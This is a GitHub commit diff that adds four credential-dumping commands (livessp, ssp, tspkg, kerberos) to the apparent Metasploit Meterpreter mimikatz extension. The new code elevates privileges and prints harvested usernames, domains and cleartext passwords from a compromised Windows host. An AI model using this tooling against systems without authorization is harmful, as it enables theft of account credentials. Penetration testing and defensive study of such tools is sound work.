Skip to content

Commit 2084971

Browse files
committed
Add all methods
1 parent ddaa09e commit 2084971

File tree

2 files changed

+188
-0
lines changed

2 files changed

+188
-0
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,86 @@ def msv
7272
end
7373
return accounts
7474
end
75+
76+
def livessp
77+
request = Packet.create_request('mimikatz_livessp')
78+
response = client.send_request(request)
79+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
80+
81+
details = CSV.parse(result)
82+
accounts = []
83+
details.each do |acc|
84+
account = {
85+
:authid => acc[0],
86+
:package => acc[1],
87+
:user => acc[2],
88+
:domain => acc[3],
89+
:password => acc[4]
90+
}
91+
accounts << account
92+
end
93+
return accounts
94+
end
95+
96+
def ssp
97+
request = Packet.create_request('mimikatz_ssp')
98+
response = client.send_request(request)
99+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
100+
101+
details = CSV.parse(result)
102+
accounts = []
103+
details.each do |acc|
104+
account = {
105+
:authid => acc[0],
106+
:package => acc[1],
107+
:user => acc[2],
108+
:domain => acc[3],
109+
:password => acc[4]
110+
}
111+
accounts << account
112+
end
113+
return accounts
114+
end
115+
116+
def tspkg
117+
request = Packet.create_request('mimikatz_tspkg')
118+
response = client.send_request(request)
119+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
120+
121+
details = CSV.parse(result)
122+
accounts = []
123+
details.each do |acc|
124+
account = {
125+
:authid => acc[0],
126+
:package => acc[1],
127+
:user => acc[2],
128+
:domain => acc[3],
129+
:password => acc[4]
130+
}
131+
accounts << account
132+
end
133+
return accounts
134+
end
135+
136+
def kerberos
137+
request = Packet.create_request('mimikatz_kerberos')
138+
response = client.send_request(request)
139+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
140+
141+
details = CSV.parse(result)
142+
accounts = []
143+
details.each do |acc|
144+
account = {
145+
:authid => acc[0],
146+
:package => acc[1],
147+
:user => acc[2],
148+
:domain => acc[3],
149+
:password => acc[4]
150+
}
151+
accounts << account
152+
end
153+
return accounts
154+
end
75155
end
76156

77157
end; end; end; end; end

lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,10 @@ def commands
3131
{
3232
"wdigest" => "Attempt to retrieve cleartext wdigest passwords",
3333
"msv" => "Attempt to retrieve hashes",
34+
"livessp" => "Attempt to retrieve livessp creds",
35+
"ssp" => "Attempt to retrieve ssp creds",
36+
"tspkg" => "Attempt to retrieve tspkg creds",
37+
"kerberos" => "Attempt to retrieve kerberos creds"
3438
}
3539
end
3640

@@ -86,6 +90,110 @@ def cmd_msv(*args)
8690
return true
8791
end
8892

93+
def cmd_livessp(*args)
94+
unless system_check
95+
print_status("Attempting to getprivs")
96+
client.sys.config.getprivs
97+
end
98+
print_status("Retrieving passwords")
99+
accounts = client.mimikatz.livessp
100+
101+
table = Rex::Ui::Text::Table.new(
102+
'Indent' => 0,
103+
'SortIndex' => 4,
104+
'Columns' =>
105+
[
106+
'AuthID', 'Package', 'Domain', 'User', 'Password'
107+
]
108+
)
109+
110+
accounts.each do |acc|
111+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
112+
end
113+
114+
table.print
115+
116+
return true
117+
end
118+
119+
def cmd_ssp(*args)
120+
unless system_check
121+
print_status("Attempting to getprivs")
122+
client.sys.config.getprivs
123+
end
124+
print_status("Retrieving passwords")
125+
accounts = client.mimikatz.ssp
126+
127+
table = Rex::Ui::Text::Table.new(
128+
'Indent' => 0,
129+
'SortIndex' => 4,
130+
'Columns' =>
131+
[
132+
'AuthID', 'Package', 'Domain', 'User', 'Password'
133+
]
134+
)
135+
136+
accounts.each do |acc|
137+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
138+
end
139+
140+
table.print
141+
142+
return true
143+
end
144+
145+
def cmd_tspkg(*args)
146+
unless system_check
147+
print_status("Attempting to getprivs")
148+
client.sys.config.getprivs
149+
end
150+
print_status("Retrieving passwords")
151+
accounts = client.mimikatz.tspkg
152+
153+
table = Rex::Ui::Text::Table.new(
154+
'Indent' => 0,
155+
'SortIndex' => 4,
156+
'Columns' =>
157+
[
158+
'AuthID', 'Package', 'Domain', 'User', 'Password'
159+
]
160+
)
161+
162+
accounts.each do |acc|
163+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
164+
end
165+
166+
table.print
167+
168+
return true
169+
end
170+
171+
def cmd_kerberos(*args)
172+
unless system_check
173+
print_status("Attempting to getprivs")
174+
client.sys.config.getprivs
175+
end
176+
print_status("Retrieving passwords")
177+
accounts = client.mimikatz.kerberos
178+
179+
table = Rex::Ui::Text::Table.new(
180+
'Indent' => 0,
181+
'SortIndex' => 4,
182+
'Columns' =>
183+
[
184+
'AuthID', 'Package', 'Domain', 'User', 'Password'
185+
]
186+
)
187+
188+
accounts.each do |acc|
189+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
190+
end
191+
192+
table.print
193+
194+
return true
195+
end
196+
89197
def system_check
90198
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
91199
print_warning("Not currently running as SYSTEM")

0 commit comments

Comments
 (0)